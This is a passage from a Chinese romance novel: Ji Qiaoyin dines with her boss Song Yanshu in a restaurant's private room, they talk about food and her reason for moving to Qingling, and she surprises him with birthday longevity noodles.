比起余初和的热情,夏君岱倒是稍显冷淡,只和季悄吟简单打了个招呼。就连对宋雁书都惜字如金。
几人随意聊了几句,余初和便开口邀请:“季小姐不如坐下喝杯茶吧,尝尝岑岭今年春天刚摘的涑明茶。”
季悄吟:“……”
她不免拧眉,怎么请她喝茶了?
季悄吟打了个腹稿,正准备婉拒,却被身侧人抢了先,“季小姐今天是来吃青团的,余二少的茶怕是只能改日再喝了。”
有人做主替自己回答了,也省得季悄吟自己开口了。宋雁书朋友的茶她怕是不太敢喝。
余初和耸耸肩,轻松道:“那改日再请季小姐喝茶。”
宋雁书将人带出了包厢。
包厢的推拉门迅速合上。
室内恢复之前的安静。
茶香弥漫,久久不散。
余初和转了转手中的白瓷茶杯,勾了勾唇角,状似不经意地开口:“雁书今天有点护犊子哦!”
他刚刚不过小小试探了一下,宋雁书竟迫不及待替人姑娘拿了主意。
对面的夏君岱从炉子里拎起精致小巧的茶壶,青绿色的茶水从壶嘴里倾泻而出,水线成串透明,缓缓注入茶杯。
他的动作慢条斯理,出奇的气定神闲。
听闻好友的话,他也不急于发表意见。端起茶杯,细长的手指在杯沿摩挲一圈,低头细细品一口,方悠悠道:“能带来见咱们的女孩,他能不护犊子?”
——
宋雁书找店长另外开了一间包厢。
包厢充满了禅意,复古的扇形壁灯,灯具表面勾画简易水墨画,一座山,一湾水,古韵十足。
窗户很大,四纵四横,分成一个个小格,糊上白纱,外面根本看不到里面。多了几分幽闭和私密。
宋雁书走到窗前将窗户压了一条宰缝,丝丝夜风泄进来,也带来了点点春寒。
开完窗,他便坐了下来。
“君岱那人就是这样,除了他老婆,他对谁都冷着一张脸,话很少。”
“夏先生是医生,医生冷静自持很正常呀!”季悄吟倒是毫不在意。
“冷静自持?”宋雁书挑眉一笑,公然吐槽好友:“你怕是对他有误解,在他老婆面前,你三观都得震碎。”
季悄吟:“……”
一坐下季悄吟便注意到了桌上的那只透明花瓶。花瓶里插.着三四枝灰蓝色郁金香。花苞寂静绽放,与窗外沉郁的雨天尤其相称。
很少有饭店拿郁金香摆桌的,还是灰蓝色的,常见的都是小雏菊和向日葵,而且多是明亮养眼的颜色。
出其不意的一抹灰蓝色,清新明快,不由让人眼前一亮。
季悄吟很喜欢。她反复细看了好一会儿。
察觉到她的目光,宋雁书温声问:“喜欢这花?”
季悄吟笑了笑,“觉得它们很特别。”
宋雁书:“郁金香品种繁多,不过灰蓝色的倒是少见。”
服务员上了茶水和小食。
宋雁书把菜单推给季悄吟,“季经理,你来点吧!”
季悄吟翻了翻菜单,犹豫不决,抬头问对面的人:“宋总有什么推荐吗?”
宋雁书问:“你能吃辣吗?”
季悄吟摇摇头,“我很少吃辣。”
他颇为意外,“宛丘人不吃辣?”
在他的认知里宛丘人历来都是无辣不欢的
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。
“我可能是个假的宛丘人,我自小就不吃辣。我的父母为了照顾我的口味,烧菜几乎都不放辣椒。”提起父母,女人眉眼弯弯,嘴角笑意渐深。
“吃清淡点也好,这样养生。”
宋雁书做主给季悄吟点了几道清淡的菜品,“笋干老鸭煲,鲍鱼红烧肉,龙井虾仁,西湖牛肉羹,再加一道青团。”
“两位稍后。”店长领了菜单便退出了包厢。
包厢里安静,一楼大堂里那出苏州评弹还未结束,咿咿呀呀的调子传了好远好远。
等菜的过程中,宋雁书用开水把餐具给烫了一遍。然后又给季悄吟倒了杯热茶。
西湖龙井,茶香袅袅。
季悄吟细细饮两口,暖流入腹,全身回暖。
“季经理平时自己做饭吗?”
季悄吟手里转着茶杯,“我很少开火,太懒了,不愿意动手,平时全靠外卖。”
自小跟在母亲身边,耳濡目染,多少学了点做菜的手艺。可惜工作太忙,很少有机会下厨,厨艺几乎都给荒废了。
“宋总您会烧菜吗?”
他静静望着她,莞尔而笑,“你觉得我这个样子像是会做菜的?”
季悄吟:“……”
不等季悄吟说话,他便说:“家里有阿姨。”
“一直没问过你怎么会辞职来青陵。”
毕竟很多人都不会冒险舍弃一份高薪优渥的工作,只身来到一座陌生的城市从头开始。
凡事一反常态,那必有猫.腻。
那天面试,万方培自作主张替他问过季悄吟。她当时说自己是来青陵看风景的。
他当然不会相信她给出的这个理由。
季悄吟眯了眯眼,似笑非笑,“宋总,那天晚上客房部有人不是已经说过理由了么?”
宋雁书的耳旁蓦地浮现出一个遥远的声音——
“我还听说这季悄吟做三,被原配逼得辞职,在南岱混不下去了,才跑来我们海盛的。渍渍渍,真是了不得哦!”
男人语气肯定,“我不信。”
“宋总为什么不信?”
“你的眼睛太干净,毫无欲.望,一个没有欲.望的人怎么可能会去走捷径。”
“万一是真爱呢?”
“那就更不可能了。”
“为什么?”
“你看不上有妇之夫,你向往的是一份纯粹,从一而终的感情。”
不得不承认,宋雁书将她看得透透的。
“果然什么都瞒不过您。”季悄吟微微失笑,“我辞职来青陵没什么特别的原因,只是在一座城市待得太久,腻了,想要换个环境。”
“这么简单?”
“就是这么简单。”
——
檐外听雨的青团确实蛮正宗的。但要比起家乡的艾米果还是差了一截。
但那道龙井虾仁倒是挺美味的,她吃了一大半。
今晚季悄吟已经很满足了。
严格来说,能和宋雁书一起吃饭,她就无比满足了。
不知道从什么时候开始,宋雁书眉眼间的阴郁早已消失不见,取而代之的是无尽的温柔。
温和的眉眼,温柔的笑容,温声细语的说话声,就连身上的白衬衫经由墙上暖橙的壁灯照过以后,它都变得温暖了。
季悄吟的心绪摇摆不定,仿佛吞了好几斤棉花糖下肚,酣甜透骨。
她只想把这一刻留久一些,再留久一些。
如果漫漫长夜没有尽头,如果时间停滞在此刻,如果他们永远不要走出这间包厢,那么她便可以这样短暂地拥有宋雁书。
季悄吟起身,“我去趟洗手间。”
“去吧。”
季悄吟出去的时间有些长,足足十五分钟。
宋雁书正犹豫要不要出去找找,这姑娘便回来了。
手里抱着一碗长寿面,献宝一样往他跟前放,笑容明艳动人,“宋总,生日快乐!”